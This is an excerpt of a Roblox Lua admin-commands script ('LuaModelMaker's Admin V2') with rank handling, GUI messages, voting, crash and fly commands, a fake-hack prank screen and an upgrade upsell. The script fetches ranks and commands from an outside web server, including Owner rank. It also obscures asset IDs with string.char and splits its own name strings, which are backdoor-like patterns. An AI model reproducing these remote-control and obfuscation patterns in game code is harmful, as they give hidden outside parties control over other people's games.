  784. if not Version then Version = {Value = "[ Unknown ]"} end
  785. for Command,_ in pairs(Commands.NonAdmin) do Commands.NonAdmin[Command] = string.gsub(string.gsub(Commands.NonAdmin[Command], ";", Prefix), " ", Bet) end
  786. for Command,_ in pairs(Commands.Member) do Commands.Member[Command] = string.gsub(string.gsub(Commands.Member[Command], ";", Prefix), " ", Bet) end
  787. for Command,_ in pairs(Commands.Admin) do Commands.Admin[Command] = string.gsub(string.gsub(Commands.Admin[Command], ";", Prefix), " ", Bet) end
  788. for Command,_ in pairs(Commands.Owner) do Commands.Owner[Command] = string.gsub(string.gsub(Commands.Owner[Command], ";", Prefix), " ", Bet) end
  789.  
  790. if game.Workspace:FindFirstChild("LuaModelMaker Stamp") then LuaModelMakerStamp = true end
  791.  
  792. -- This sound list saves script space and makes it possible for me to add sounds without having to update the admin --
  793. local SoundList,GlobalSoundList = {},{}
  794.  
  795. -------------------------- ypcall(function() for Name,Data in pairs(HS:JSONDecode(HS:GetAsync("http://luamodelmaker.net63.net/LMMAdmin/ScriptData", true))) do WebData[Name] = Data end end)
  796.  
  797. function Crash(Player)
  798. ExecuteResource("Crash", Player.Character, {["LagTime"] = LagTime})
  799. end
  800.  
  801. function Fly(Player, Force)
  802. ExecuteResource("Fly", Player.Character, {["Force"] = Force})
  803. end
  804.  
  805. function NilPlayer(Player)
  806. if Player == nil or type(Player) == "table" then return true else return false end
  807. end
  808.  
  809. function CoreGui(Player, Type, Enable)
  810. ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable}, Player,
  811. [[script.Parent = nil game:GetService("StarterGui"):SetCoreGuiEnabled("]]..tostring(Type)..[[", ]]..tostring(Enable)..[[)]])
  812. end
  813.  
  814. function ConvertRank(Input)
  815. local Output = nil
  816. if Input == "Muted" then Output = -3 end
  817. if Input == "Crashed" then Output = -2 end
  818. if Input == "Banned" then Output = -1 end
  819. if Input == "Player" then Output = 0 end
  820. if Input == "Member" then Output = 1 end
  821. if Input == "Admin" then Output = 2 end
  822. if Input == "Owner" then Output = 3 end
  823.  
  824. if Input == -3 then Output = "Muted" end
  825. if Input == -2 then Output = "Crashed" end
  826. if Input == -1 then Output = "Banned" end
  827. if Input == 0 then Output = "Player" end
  828. if Input == 1 then Output = "Member" end
  829. if Input == 2 then Output = "Admin" end
  830. if Input == 3 then Output = "Owner" end
  831. return Output
  832. end
  833.  
  834. function IsAdmin(Player)
  835. local AdminStatus = false
  836. local RankStatus = "Player"
  837. if NilPlayer(Player) then return true, "Owner" end
  838. for Rank,PlayerNames in pairs(Ranks) do
  839. for _,AdminName in pairs(PlayerNames) do
  840. if string.lower(AdminName) == string.lower(Player.Name) then
  841. if ConvertRank(Rank) > 0 then
  842. AdminStatus = true
  843. RankStatus = Rank
  844. end
  845. end
  846. end
  847. end
  848. return AdminStatus, RankStatus
  849. end
  850.  
  851. function GetAdmins(Ranking)
  852. local Players = {}
  853. local AdminTrue, Rank = IsAdmin(Player)
  854. for _,Player in pairs(Players:GetPlayers()) do
  855. if AdminTrue then
  856. local PlayerRankNum = ConvertRank(Rank)
  857. local StandardRankNum = ConvertRank(Ranking)
  858. if PlayerRankNum >= StandardRankNum then
  859. table.insert(Players, Player)
  860. end
  861. end
  862. end
  863. return Players
  864. end
  865.  
  866. function SendMessage(Player, TitleText, BodyText, Time)coroutine.wrap(function()
  867. local MessagePos = 0
  868. for _,Item in pairs(Player.PlayerGui:GetChildren()) do
  869. if Item.Name == "LuaM".."od".."".."elMa".."ker's Admin Message" then
  870. MessagePos = MessagePos + 50
  871. end
  872. end
  873.  
  874. local SG,Drag
  875. local IsClosing,AutoClose = false,true
  876.  
  877. local function Close()
  878. if IsClosing == false then
  879. IsClosing = true
  880. Drag:TweenPosition(UDim2.new(-0.2,0,0.3,0), "Out", "Sine", 1, false, function()
  881. SG:Destroy()
  882. end)
  883. end
  884. end
  885.  
  886. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LuaMod".."".."elMa".."ker's Admin Message"
  887. Drag = Instance.new("TextLabel", SG) Drag.Name = "Drag" Drag.Position = UDim2.new(-0.2,0,0.3,0) Drag.Size = UDim2.new(0.2,0,0.1,0) Drag.BackgroundColor3 = Color3.new(1,1,1) Drag.BackgroundTransparency = 1 Drag.Text = TitleText Drag.Font = "ArialBold" Drag.FontSize = "Size24" Drag.TextStrokeTransparency = 0 Drag.TextWrapped = true Drag.TextColor3 = Color3.new(1,1,1) Drag.Active = true Drag.Draggable = true
  888. local Background = Instance.new("Frame", Drag) Background.Name = "Background" Background.Size = UDim2.new(1,0,3,0) Background.BackgroundColor3 = Color3.new(1,1,1) Background.BackgroundTransparency = 0.9
  889. local Scroll = Instance.new("ScrollingFrame", Drag) Scroll.Name = "Scroll" Scroll.Size = UDim2.new(1,0,2,0) Scroll.Position = UDim2.new(0,0,1,0) Scroll.BackgroundTransparency = 1
  890. local Body = Instance.new("TextLabel", Scroll) Body.Name = "Body" Body.Size = UDim2.new(1,-13,10,0) Body.BackgroundColor3 = Color3.new(1,1,1) Body.BackgroundTransparency = 1 Body.Rotation = 0 Body.BorderSizePixel = 0 Body.Text = BodyText Body.Font = "Arial" Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top" Body.TextColor3 = Color3.new(1,1,1)
  891. local X = Instance.new("TextButton", Drag) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,10,0,10) X.Font = "ArialBold" X.FontSize = "Size12" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 X.MouseButton1Click:connect(Close)
  892. local Pin = Instance.new("ImageButton", Drag) Pin.Name = "Pin" Pin.Size = UDim2.new(0,20,0,20) Pin.Position = UDim2.new(0,10,0,0) Pin.BackgroundTransparency = 1 Pin.Image = "http://www.roblox.com/asset/?id=53252170" Pin.ZIndex = 2
  893.  
  894. Pin.MouseButton1Click:connect(function()
  895. Pin:Destroy()
  896. AutoClose = false
  897. end)
  898.  
  899. ExecuteResource("ScrollUpDown", Scroll, {}, Player, [[
  900. script.Parent.CanvasSize = UDim2.new(0,0,0,script.Parent.Body.TextBounds.Y)
  901. ]])
  902.  
  903. local RawColor,RestOfBodyText = GetSplit(BodyText, Bet)
  904. if RawColor ~= "" and RestOfBodyText ~= "" then
  905. local Color = string.lower(RawColor)
  906. if Color == "white" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(1,1,1)
  907. elseif Color == "black" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0,0,0)
  908. elseif Color == "grey" or Color == "gray" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0.5,0.5,0.5)
  909. elseif Color == "red" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(1,0,0)
  910. elseif Color == "green" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0,1,0)
  911. elseif Color == "blue" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0,0,1)
  912. elseif Color == "yellow" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(1,1,0)
  913. elseif Color == "pink" or Color == "magenta" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(1,0,1)
  914. elseif Color == "cyan" then Body.Text = RestOfBodyText Body.TextColor3 = BrickColor.new("Cyan").Color
  915. elseif Color == "teal" then Body.Text = RestOfBodyText Body.TextColor3 = BrickColor.new("Teal").Color
  916. elseif Color == "brown" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0.55,0.25,0.075)
  917. elseif Color == "purple" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0.5,0,0.5) end
  918. end
  919.  
  920. Drag:TweenPosition(UDim2.new(0.4,MessagePos,0.3,-MessagePos), "In", "Sine", 1, false, function()
  921. wait(Time)
  922. if AutoClose == true then
  923. Close()
  924. end
  925. end)
  926.  
  927. end)() end
  928.  
  929. function SendHint(Player, Text, Time) coroutine.wrap(function()
  930. Text = string.sub(Text,1,100)
  931. local SG,TypeAction,Num = Instance.new("ScreenGui"),nil,0 SG.Name = "LuaMod".."".."elMaker's Admin Hint"
  932. local Frame = Instance.new("Frame", SG) Frame.Name = "Hint Frame" Frame.Position = UDim2.new(0,0,-0.05,0) Frame.Size = UDim2.new(1,0,0,30) Frame.Style = "RobloxSquare"
  933. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.ZIndex = 2 Body.Text = "" Body.BackgroundTransparency = 1 Body.Size = UDim2.new(1,0,1,0) Body.Font = "ArialBold" Body.FontSize = "Size18" Body.TextColor3 = Color3.new(1,1,1)
  934. for _,Object in pairs(Player.PlayerGui:GetChildren()) do if Object.Name == "LuaMod".."elMaker".."'".."s Admin Hint" then Object:Destroy() end end
  935. SG.Parent = Player.PlayerGui
  936. Frame:TweenPosition(UDim2.new(0,0,0.05,0), "In", "Quint", 0.7)
  937. --Frame.Position = UDim2.new(0,0,0.05,0)
  938. --wait(0.75)
  939. TypeAction = Run.Stepped:connect(function(Time, Step)
  940. Num = Num + 1
  941. Body.Text = string.sub(Text,1,Num)
  942. if Num == #Text then
  943. TypeAction:disconnect()
  944. end
  945. wait(Step)
  946. end)
  947. wait(Time)
  948. --Frame.Position = UDim2.new(0,0,-0.05,0)
  949. Frame:TweenPosition(UDim2.new(0,0,-0.05,0), "Out", "Quint", 0.7)
  950. wait(0.75)
  951. SG:Destroy()
  952. end)() end
  953.  
  954. function MessageAdmins(TitleText, BodyText, Time)
  955. for _,Player in pairs(Players:GetPlayers()) do
  956. local PlayerAdmin, PlayerRank = IsAdmin(Player)
  957. if PlayerAdmin then
  958. SendMessage(Player, TitleText, BodyText, Time)
  959. end
  960. end
  961. end
  962.  
  963. function Execute(ScriptVar, Parent, Owner, Code) if Parent then
  964. if ScriptVar ~= nil then
  965. local NewScript = ScriptVar:Clone()
  966. NewScript.Code.Value = Code
  967. NewScript.Owner.Value = Owner
  968. NewScript.Parent = Parent
  969. wait()
  970. NewScript.Disabled = false
  971. return true, NewScript
  972. elseif NLS ~= nil then
  973. NLS(Code, Parent)
  974. return true, nil
  975. else
  976. return false, nil
  977. end
  978. end end
  979.  
  980. function ExecuteResource(ResourceName, Parent, Data, Owner, Code, ScriptVar)
  981. local ReturnScript = nil
  982. local Executed = true
  983. if script:FindFirstChild("Resources") then
  984. local RawResource = script.Resources:FindFirstChild(ResourceName)
  985. if RawResource then
  986. local Resource = RawResource:Clone()
  987. Resource.Disabled = true
  988. Resource.Parent = Parent
  989. if Data then
  990. for Key,Value in pairs(Data) do
  991. if Resource[Key] then
  992. Resource[Key].Value = Value
  993. end
  994. end
  995. end
  996. wait()
  997. Resource.Disabled = false
  998. ReturnScript = Resource
  999. else
  1000. Executed = false
  1001. end
  1002. else
  1003. Executed = false
  1004. end
  1005. if Executed == false then
  1006. if not ScriptVar then ScriptVar = LocalScript end
  1007. if not Code then Code = "" end
  1008. local __, NewExecute = Execute(ScriptVar, Parent, Owner, Code)
  1009. ReturnScript = NewExecute
  1010. end
  1011. return ReturnScript
  1012. end
  1013.  
  1014. function RestoreCamera(Player)
  1015. if Player.Backpack then
  1016. ExecuteResource("RestoreCamera", Player.Backpack, {}, Player, [[
  1017. Workspace.CurrentCamera.FieldOfView = 70
  1018. Workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
  1019. Workspace.CurrentCamera.CameraSubject = game:GetService("Players").LocalPlayer.Character.Humanoid
  1020. ]])
  1021. end
  1022. end
  1023.  
  1024. function ScanAdminList(Name)
  1025. if Name == "" then return true end
  1026. local InList = false
  1027. for _,PName in pairs(Ranks["Owner"]) do
  1028. if PName == Name then InList = true end
  1029. end
  1030. for _,PName in pairs(Ranks["Admin"]) do
  1031. if PName == Name then InList = true end
  1032. end
  1033. for _,PName in pairs(Ranks["Member"]) do
  1034. if PName == Name then InList = true end
  1035. end
  1036. return InList
  1037. end
  1038.  
  1039. function ScanExileList(Name)
  1040. if Name == "" then return true end
  1041. local InList = false
  1042. for _,PName in pairs(Ranks["Muted"]) do
  1043. if PName == Name then InList = true end
  1044. end
  1045. for _,PName in pairs(Ranks["Crashed"]) do
  1046. if PName == Name then InList = true end
  1047. end
  1048. for _,PName in pairs(Ranks["Banned"]) do
  1049. if PName == Name then InList = true end
  1050. end
  1051. return InList
  1052. end
  1053.  
  1054. function GetSplit(String, BetSplit)
  1055. local String1 = ""
  1056. local String2 = ""
  1057. Start1, End1 = string.find(String, BetSplit)
  1058. if End1 then
  1059. String1 = string.sub(String, 1, End1-1)
  1060. end
  1061. if String1 ~= "" then
  1062. String2 = string.sub(String, End1+1)
  1063. end
  1064. return String1, String2
  1065. end
  1066.  
  1067. function GetImageFormat(ID)
  1068. if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
  1069. local NewID = ID + 1
  1070. for i = 1,100 do
  1071. NewID = NewID -1
  1072. local Product = nil
  1073. ypcall(function() Product = MPS:GetProductInfo(NewID).AssetTypeId end)
  1074. if Product then
  1075. if Product == 1 then
  1076. break
  1077. end
  1078. end
  1079. if i == 100 then NewID = ID end
  1080. end
  1081. return NewID
  1082. end end
  1083. end
  1084.  
  1085. function GetWebData()
  1086. local Request = nil
  1087. ypcall(function() Request = HS:JSONDecode(HS:GetAsync("http://classy-studios.com/Login/GetUserdata.php?Username="..LinkedAccount, true)) end)
  1088. return Request
  1089. end
  1090.  
  1091. function StringToBool(String)
  1092. if String == "true" then
  1093. return true
  1094. else
  1095. return false
  1096. end
  1097. end
  1098.  
  1099. function SetWebData(Request)
  1100. if Request ~= nil then
  1101. for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not ScanExileList(Player) then table.insert(Ranks.Muted, Player) end end end
  1102. for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not ScanExileList(Player) then table.insert(Ranks.Crashed, Player) end end end
  1103. for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not ScanExileList(Player) then table.insert(Ranks.Banned, Player) end end end
  1104. for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not ScanAdminList(Player) then table.insert(Ranks.Member, Player) end end end
  1105. for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not ScanAdminList(Player) then table.insert(Ranks.Admin, Player) end end end
  1106. for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not ScanAdminList(Player) then table.insert(Ranks.Owner, Player) end end end
  1107.  
  1108. FUN = Request.FUN
  1109. ServerLocked = Request.ServerLocked
  1110. DisableAbuse = Request.DisableAbuse
  1111. Command = Request.Command
  1112. ServerCommand = Request.ServerCommand
  1113. ServerPort = Request.Server
  1114. TimeStamp = Request.TimeStamp
  1115. end
  1116. end
  1117.  
  1118. local function RemoveAdmin(Speaker)
  1119. local Answer = false
  1120. if not NilPlayer(Speaker) then Answer = YesOrNo(Speaker, "Remove LuaModelMake".."r".."s's Admin?", "Would you like to remove LuaMo".."delMake".."r".."s's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?") end
  1121. if Answer == true or NilPlayer(Speaker) then
  1122. for _,Player in pairs(Players:GetPlayers()) do if Player.PlayerGui ~= nil then
  1123. GUI = Player.PlayerGui:FindFirstChild("LMMA Product Gui") if GUI then GUI:Destroy() end
  1124. GUI = Player.PlayerGui:FindFirstChild("LMM Menu Gui") if GUI then GUI:Destroy() end
  1125. GUI = Player.PlayerGui:FindFirstChild("LMM ScrollGui") if GUI then GUI:Destroy() end
  1126. end end
  1127. while wait() do
  1128. Chatted,Ranked,Start,Stopped,FullAdminMenu,AdminMenu = nil,nil,nil,true,nil,nil
  1129. if Module then Module.Disabled = true Module:Destroy() end
  1130. script:ClearAllChildren() script.Disabled = true script:Destroy()
  1131. end
  1132. end
  1133. end
  1134.  
  1135. function Round(Number)
  1136. if Number >= 0.5 then
  1137. return math.ceil(Number)
  1138. elseif Number < 0.5 then
  1139. return math.floor(Number)
  1140. end
  1141. end
  1142.  
  1143. local AdminID = MPS:GetProductInfo(string.char(49, 53, 53, 54, 56, 52, 53, 52, 50)).Description
  1144. local NewAdminID = MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description
  1145.  
  1146. function Vote(VotingPlayers, Sender, Question, Time) coroutine.wrap(function()
  1147. VoteVersion = VoteVersion + 1
  1148. local YesNum,NoNum,NilVote,NoVoteTable,VoteThread = 0,0,0,{},VoteVersion
  1149. if Time > 60 then Time = 60 end
  1150. for _,Player in pairs(VotingPlayers) do if Player.PlayerGui ~= nil then coroutine.wrap(function()
  1151. local Voted = false
  1152. local SG = Player.PlayerGui:FindFirstChild("LMM Admin Vote") if SG then SG:Destroy() end
  1153. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMM Admin Vote"
  1154. local Frame = Instance.new("Frame", SG) Frame.Name = "Vote Frame" Frame.Size = UDim2.new(0.5,0,0.4,0) Frame.Position = UDim2.new(0.25,0,0.25,0) Frame.BackgroundColor3 = Color3.new(1,1,1) Frame.BackgroundTransparency = 0.9
  1155. local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.2,0) Title.Position = UDim2.new(0,0,0,0) Title.Font = "ArialBold" Title.Text = "Loading..." Title.FontSize = "Size18" Title.TextColor3 = Color3.new(1,1,1) Title.BackgroundTransparency = 1 Title.TextYAlignment = "Top"
  1156. local Q = Instance.new("TextLabel", Frame) Q.Name = "Question" Q.Size = UDim2.new(1,0,0.5,0) Q.Position = UDim2.new(0,0,0.2,0) Q.Font = "Arial" Q.Text = Question Q.FontSize = "Size18" Q.TextColor3 = Color3.new(1,1,1) Q.BackgroundTransparency = 1 Q.TextYAlignment = "Top" Q.TextWrapped = true
  1157. local Answer = Instance.new("TextButton") Answer.Size = UDim2.new(0.2,0,0.15,0) Answer.Font = "Legacy" Answer.FontSize = "Size9"
  1158. local Yes = Answer:Clone() Yes.Parent = Frame Yes.Name = "Yes" Yes.Position = UDim2.new(0,0,0.8,0) Yes.Style = "RobloxButton" Yes.Text = "Yes" Yes.TextColor3 = Color3.new(0,1,0)
  1159. local No = Answer:Clone() No.Parent = Frame No.Name = "No" No.Position = UDim2.new(0.8,0,0.8,0) No.Style = "RobloxButtonDefault" No.Text = "No" No.TextColor3 = Color3.new(1,0,0)
  1160. Yes.MouseButton1Click:connect(function()
  1161. YesNum = YesNum + 1 Voted = true SG:Destroy()
  1162. end)
  1163. No.MouseButton1Click:connect(function()
  1164. NoNum = NoNum + 1 Voted = true SG:Destroy()
  1165. end)
  1166. for i = 0,Time do
  1167. if VoteThread == VoteVersion then
  1168. local Plural = "s"
  1169. if Time-i == 1 then Plural = "" end
  1170. Title.Text = "LMM's Admin Vote | Time left: "..Time-i.." Second"..Plural
  1171. else
  1172. SG:Destroy() break
  1173. end
  1174. wait(1)
  1175. end
  1176. if SG ~= nil then SG:Destroy() end
  1177. if Voted == false then table.insert(NoVoteTable, Player) end
  1178. end)() end end
  1179. wait(Time+2) wait()
  1180. if Sender then
  1181. if Sender.PlayerGui ~= nil then
  1182. NilVote = #NoVoteTable
  1183. local SG = Sender.PlayerGui:FindFirstChild("LMM Admin Vote") if SG then SG:Destroy() end
  1184. SG = Instance.new("ScreenGui", Sender.PlayerGui) SG.Name = "LMM Admin Vote"
  1185. local Frame = Instance.new("Frame", SG) Frame.Name = "Vote Frame" Frame.Size = UDim2.new(0.5,0,0.5,0) Frame.Position = UDim2.new(0.25,0,0.25,0) Frame.BackgroundColor3 = Color3.new(1,1,1) Frame.BackgroundTransparency = 0.9
  1186. local Title,R = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.1,0) Title.Position = UDim2.new(0,0,0,0) Title.Font = "ArialBold" Title.Text = "Results" Title.FontSize = "Size18" Title.TextColor3 = Color3.new(1,1,1) Title.BackgroundTransparency = 1 Title.TextYAlignment = "Top", nil
  1187. local Q = Instance.new("TextLabel", Frame) Q.Name = "Question" Q.Size = UDim2.new(1,0,0.5,0) Q.Position = UDim2.new(0,0,0.2,0) Q.Font = "Arial" Q.Text = Question Q.FontSize = "Size18" Q.TextColor3 = Color3.new(1,1,1) Q.BackgroundTransparency = 1 Q.TextYAlignment = "Top" Q.TextWrapped = true
  1188. local X = Instance.new("TextButton", Frame) X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Position = UDim2.new(1,-15,0,-5) X.ZIndex = 10 X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,1,1) X.MouseButton1Click:connect(function() SG:Destroy() end)
  1189. R = Instance.new("TextLabel", Frame) R.Size = UDim2.new(1,0,1,0) R.Name = "Yes" R.TextColor3 = Color3.new(0,1,0) R.BackgroundTransparency = 1 R.TextYAlignment = "Bottom" R.TextXAlignment = "Left" R.Font = "ArialBold" R.FontSize = "Size18"
  1190. R = Instance.new("TextLabel", Frame) R.Size = UDim2.new(1,0,1,0) R.Name = "No" R.TextColor3 = Color3.new(1,0,0) R.BackgroundTransparency = 1 R.TextYAlignment = "Bottom" R.TextXAlignment = "Right" R.Font = "ArialBold" R.FontSize = "Size18"
  1191. R = Instance.new("TextLabel", Frame) R.Size = UDim2.new(1,0,1,0) R.Name = "None" R.TextColor3 = Color3.new(1,1,1) R.BackgroundTransparency = 1 R.TextYAlignment = "Bottom" R.TextXAlignment = "Center" R.Font = "ArialBold" R.FontSize = "Size18"
  1192. Frame.Yes.Text = [[Yes:
  1193. ]]..YesNum.."/"..#VotingPlayers..[[
  1194. ]]..Round(YesNum/#VotingPlayers*100).."%"
  1195. Frame.None.Text = [[No vote:
  1196. ]]..NilVote.."/"..#VotingPlayers..[[
  1197. ]]..Round(NilVote/#VotingPlayers*100).."%"
  1198. Frame.No.Text = [[No:
  1199. ]]..NoNum.."/"..#VotingPlayers..[[
  1200. ]]..Round(NoNum/#VotingPlayers*100).."%"
  1201. end
  1202. end
  1203. end)() end
  1204.  
  1205. function YesOrNo(Player, TitleText, MessageText)
  1206. local Responce = nil
  1207. local SG = Player.PlayerGui:FindFirstChild("MML Ask") if SG then SG:Destroy() end
  1208. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."ML Ask"
  1209. local Frame = Instance.new("Frame", SG) Frame.Name = "Vote Frame" Frame.Size = UDim2.new(0.5,0,0.4,0) Frame.Position = UDim2.new(0.25,0,0.25,0) Frame.BackgroundColor3 = Color3.new(1,1,1) Frame.BackgroundTransparency = 0.9
  1210. local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.2,0) Title.Position = UDim2.new(0,0,0,0) Title.Font = "ArialBold" Title.Text = TitleText Title.FontSize = "Size18" Title.TextColor3 = Color3.new(1,1,1) Title.BackgroundTransparency = 1 Title.TextYAlignment = "Top" Title.TextWrapped = true
  1211. local Q = Instance.new("TextLabel", Frame) Q.Name = "Question" Q.Size = UDim2.new(1,0,0.5,0) Q.Position = UDim2.new(0,0,0.2,0) Q.Font = "Arial" Q.Text = MessageText Q.FontSize = "Size18" Q.TextColor3 = Color3.new(1,1,1) Q.BackgroundTransparency = 1 Q.TextYAlignment = "Top" Q.TextWrapped = true
  1212. local Answer = Instance.new("TextButton") Answer.Size = UDim2.new(0.2,0,0.15,0) Answer.Font = "Legacy" Answer.FontSize = "Size9"
  1213. local Yes = Answer:Clone() Yes.Parent = Frame Yes.Name = "Yes" Yes.Position = UDim2.new(0,0,0.8,0) Yes.Style = "RobloxButton" Yes.Text = "Yes" Yes.TextColor3 = Color3.new(0,1,0)
  1214. local No = Answer:Clone() No.Parent = Frame No.Name = "No" No.Position = UDim2.new(0.8,0,0.8,0) No.Style = "RobloxButtonDefault" No.Text = "No" No.TextColor3 = Color3.new(1,0,0)
  1215. Yes.MouseButton1Click:connect(function()
  1216. Responce = true
  1217. end)
  1218. No.MouseButton1Click:connect(function()
  1219. Responce = false
  1220. end)
  1221. repeat wait(0.1) until Responce ~= nil or SG.Parent == nil
  1222. if SG.Parent == nil then
  1223. Responce = false
  1224. end
  1225. SG:Destroy()
  1226. return Responce
  1227. end
  1228.  
  1229. function FakeHack(Player) coroutine.wrap(function()
  1230. if not Player.PlayerGui then return end
  1231. local FakeText = [[
  1232. >SHELL: BEGIN
  1233. >RUNCODE:
  1234. return {
  1235. local Hack = {"Account", "Tix", "Robux"};
  1236. function Start(Type, Inject, Scan)
  1237. if not Inject then Inject = "In-Game" end
  1238. return {Type, Inject, Scan}
  1239. end
  1240. for Exe,Exploit in pairs(Hack) do
  1241. local IP = Start("In-Game",Exploit,
  1242. BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
  1243. {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
  1244. )
  1245. Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
  1246. for i = 1,#Injection[2] do
  1247. Log("PlayerData", "ConnectHost", "PLAYERNAME")
  1248. end
  1249. local PlayerProxy = newproxy(true)
  1250. setmetatable(PlayerProxy,Injection[3],{
  1251. __index = function(StealData, ...) local Data = unpack(...)
  1252. return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
  1253. end;
  1254. })
  1255. end
  1256. Log("HACKED HOST: PLAYERNAME")
  1257. }
  1258. >HACKED HOST: PLAYERNAME
  1259.  
  1260. ]]
  1261. local SG = Player.PlayerGui:FindFirstChild("MMA Hack Gui")
  1262. if SG then SG:Destroy() end
  1263. SG = Instance.new("ScreenGui", Player.PlayerGui)
  1264. SG.Name = "MMA Hack Gui"
  1265. local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
  1266. local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 X.MouseButton1Click:connect(function() SG:Destroy() end)
  1267. local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true
  1268. for i = 1,#FakeText do
  1269. HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
  1270. if math.random(1,5) == 1 then
  1271. wait()
  1272. end
  1273. end
  1274. HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
  1275. wait(3)
  1276. HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
  1277. fake hack command from LuaModelMaker's Admin V2]]
  1278. X.Visible = true
  1279. end)() end
  1280.  
  1281. function V3Gui(Player)
  1282. if not MPS:PlayerOwnsAsset(Player, NewAdminID) then
  1283. local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MakerModelLua's Admin V3 Message"
  1284.  
  1285. local Frame = Instance.new("TextLabel", SG) Frame.Name = "Frame" Frame.Position = UDim2.new(0.35, -25, 0.45, -50) Frame.Size = UDim2.new(0.3, 50, 0.1, 100) Frame.BackgroundColor3 = Color3.new(1, 1, 1) Frame.BackgroundTransparency = 0.5 Frame.Text = "Hello "..GameOwner..", you are the owner of the game so you're the only one receiving this message. Mak".."erModelLua's Admin V3 is out, which is easier to use, and includes more secure ranking, new windowed gui system, customization, and of course many more commands(Including the long awaited ;huge me) Press \"Upgrade now\" to be prompted the new admin. Go into sudio and replace this one with the new one. Make sure to delete this admin(V2) if you do." Frame.Font = "Arial" Frame.FontSize = "Size14" Frame.TextWrapped = true Frame.TextYAlignment = "Top" Frame.TextColor3 = Color3.new(0, 0, 0) Frame.ZIndex = 9
  1286. local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0.3, 0, 1, -30) Buy.Size = UDim2.new(0.7, 0, 0, 30) Buy.BackgroundColor3 = Color3.new(170/255, 0, 1) Buy.Text = "Upgrade now!" Buy.Font = "ArialBold" Buy.FontSize = "Size18" Buy.TextStrokeTransparency = 0 Buy.TextWrapped = true Buy.TextColor3 = Color3.new(0, 0, 0) Buy.TextStrokeColor3 = Color3.new(1, 1, 1) Buy.ZIndex = 10
  1287. local Cancel = Instance.new("TextButton", Frame) Cancel.Name = "Cancel" Cancel.Position = UDim2.new(0, 0, 1, -30) Cancel.Size = UDim2.new(0.3, 0, 0, 30) Cancel.BackgroundColor3 = Color3.new(1, 0, 0) Cancel.Text = "Not now" Cancel.Font = "ArialBold" Cancel.FontSize = "Size14" Cancel.TextStrokeTransparency = 0 Cancel.TextWrapped = true Cancel.TextColor3 = Color3.new(0, 0, 0) Cancel.TextStrokeColor3 = Color3.new(1, 1, 1) Cancel.ZIndex = 10 local Cancel = Instance.new("TextButton", Frame) Cancel.Name = "Cancel" Cancel.Position = UDim2.new(0, 0, 1, -30) Cancel.Size = UDim2.new(0.3, 0, 0, 30) Cancel.BackgroundColor3 = Color3.new(1, 0, 0) Cancel.Text = "Not now" Cancel.Font = "ArialBold" Cancel.FontSize = "Size14" Cancel.TextStrokeTransparency = 0 Cancel.TextWrapped = true Cancel.TextColor3 = Color3.new(0, 0, 0) Cancel.TextStrokeColor3 = Color3.new(1, 1, 1) Cancel.ZIndex = 10
  1288.  
  1289. Buy.MouseButton1Click:connect(function() SG:Destroy() PromptPurchase(Player, NewAdminID) end)
  1290. Cancel.MouseButton1Click:connect(function() SG:Destroy() end)
  1291. end
